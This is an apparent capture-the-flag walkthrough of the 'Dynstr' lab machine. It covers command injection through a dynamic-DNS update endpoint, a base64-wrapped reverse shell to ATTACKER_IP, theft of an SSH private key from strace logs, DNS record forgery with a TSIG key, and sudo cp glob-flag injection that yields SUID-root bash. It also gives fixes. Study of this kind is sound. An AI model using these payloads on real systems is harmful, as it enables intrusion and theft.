Dynstr
Summary
I found a web-based dynamic-DNS service whose own home page advertised the API username and password in plain text. Using those credentials, I called the hostname-update endpoint, which fed the caller-supplied value directly into a server-side DNS management command without sanitisation, enabling command injection and a reverse shell as the Apache web user.
Inside the server, a developer's strace diagnostic log stored in a world-readable home directory contained an SSH private key for the bindmgr account, captured verbatim during a prior session. Although bindmgr's SSH configuration restricted logins to hosts resolving from *.infra.dyna.htb, the BIND TSIG zone-update key — readable by the web user — let me register my own IP address in that DNS zone and satisfy the check.
As bindmgr, a sudo rule permitted running a shell script that copied files using an unquoted filename glob. By placing a SUID-bit bash binary alongside a file literally named '--preserve=mode' in the working directory, I caused root's cp to produce a SUID-root bash copy in the destination directory, which was then executed for full root control.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD3="<the-password-you-recovered>"Attack path — how the box was taken
Exact commands 2
Service-version scan on the three open ports.
$ nmap -sV -p 22,53,80 $TARGETRetrieve the home page; credentials appear in the page body.
$ curl -s http://$TARGET/FixRemove credentials from public-facing web contentHigh
Exact commands 2
Open a listener to catch the callback. Run in a separate terminal.
$ nc -lvnp 9001Base64-encode the callback to sidestep space/dot filtering. URL-encoded backticks are %60. Replace $ATTACKER_IP with your tun0 address.
$ B64=$(echo -n "curl http://$ATTACKER_IP:9001/probe" | base64 -w0) && curl -s -u "dynadns:$PASSWORD3" "http://$TARGET/nic/update?hostname=%60echo%20${B64}|base64%20-d|bash%60.dnsalias.htb&myip=$ATTACKER_IP"FixValidate and sanitise the hostname parameter before any shell or DNS useCritical
Exact commands 2
Open the reverse-shell listener on my machine.
$ nc -lvnp 4444Inject the base64-wrapped reverse shell. Replace $ATTACKER_IP with your tun0 address.
$ SHELL_B64=$(echo -n "bash -i >& /dev/tcp/$ATTACKER_IP/4444 0>&1" | base64 -w0) && curl -s -u "dynadns:$PASSWORD3" "http://$TARGET/nic/update?hostname=%60echo%20${SHELL_B64}|base64%20-d|bash%60.dnsalias.htb&myip=$ATTACKER_IP"Exact commands 3
List the strace artefacts; directory name may vary — check all of /home/bindmgr/.
$ ls /home/bindmgr/support-case-C62796521/Extract the private key block from the strace output.
$ grep -A 100 'BEGIN OPENSSH PRIVATE KEY' /home/bindmgr/support-case-C62796521/strace-testing.txt | head -60On my machine: save the reconstructed key block to /tmp/bindmgr_id_rsa and set correct permissions.
$ chmod 600 /tmp/bindmgr_id_rsaFixDelete diagnostic logs that captured SSH private key material and restrict log accessHigh
Exact commands 4
Confirm the TSIG key is readable from the www-data shell.
$ cat /etc/bind/infra.keyRegister a forward A record pointing test.infra.dyna.htb at $ATTACKER_IP. Replace $ATTACKER_IP.
$ printf "server 127.0.0.1\nzone infra.dyna.htb\nupdate add test.infra.dyna.htb 86400 A $ATTACKER_IP\nsend\n" | nsupdate -k /etc/bind/infra.keyRegister the matching PTR record. Replace REVERSE_ZONE (e.g. 14.10.10) and REVERSE_OCTET with the octets of your tun0 IP in reverse order.
$ printf 'server 127.0.0.1\nzone REVERSE_ZONE.in-addr.arpa\nupdate add REVERSE_OCTET.in-addr.arpa. 86400 PTR test.infra.dyna.htb.\nsend\n' | nsupdate -k /etc/bind/infra.keyVerify the A record resolves before attempting SSH.
$ dig @$TARGET test.infra.dyna.htb AFixRestrict the BIND TSIG zone-update key to the BIND daemon onlyHigh
Exact commands 2
Connect from my machine (now resolving as test.infra.dyna.htb) using the recovered key.
$ ssh -i /tmp/bindmgr_id_rsa bindmgr@$TARGETRead the user flag: <user.txt>.
$ cat ~/user.txtExact commands 6
Confirm the unrestricted sudo rule for bindmgr.sh.
$ sudo -l
(ALL) NOPASSWD: /usr/local/bin/bindmgr.shCreate and enter a writable staging directory. All remaining commands in this step run from here.
$ mkdir /tmp/exploit && cd /tmp/exploitWrite a .version file with a number higher than the current one to satisfy the script's version check.
$ echo '99' > .versionCopy bash locally; set the SUID bit on the copy — you own it as bindmgr, so chmod +s succeeds without root.
$ cp /bin/bash . && chmod +s bashCreate a file whose name becomes a cp flag when the unquoted glob expands. The — prevents touch itself from treating it as a flag.
$ touch -- '--preserve=mode'Run the script as root from /tmp/exploit. The glob expands to: cp .version --preserve=mode bash /etc/bind/named.bindmgr/ — root's cp copies bash while preserving its SUID bit, making the result SUID root.
$ sudo /usr/local/bin/bindmgr.shFixQuote all globs in shell scripts run under sudo and remove the NOPASSWD privilegeHigh
Exact commands 2
-p retains the SUID-granted effective UID (root) instead of dropping back to the real UID (bindmgr).
$ /etc/bind/named.bindmgr/bash -pConfirm uid=0(root) and read the root flag: <root.txt>.
$ id && cat /root/root.txtAttack patterns used
The transferable techniques behind this compromise.
SSH Private Key / Credential TheftCredential Access · Lateral MovementT1552.004
What it is
Foothold access frequently exposes reusable secrets: SSH private keys (~/.ssh/id_rsa), authorized_keys, config files, history, and backups. Recovering a private key lets an unauthorised user authenticate as that user (or pivot to other hosts that trust the key), often upgrading a shaky webshell into a stable SSH session.
Why it works
Keys and credentials get left in home directories, world-readable backups, and version control. Remediate by passphrase-protecting keys, scoping authorized_keys, and scanning for secrets at rest.
Read more
SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001
What it is
Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive — per GTFOBins — yields code execution as root.
Why it works
SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.
Read more
Exposed services
| 22/tcp | ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0) |
| 53/tcp | domain ISC BIND 9.16.1 (Ubuntu Linux) |
| 80/tcp | http Apache httpd 2.4.41 ((Ubuntu)) |
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.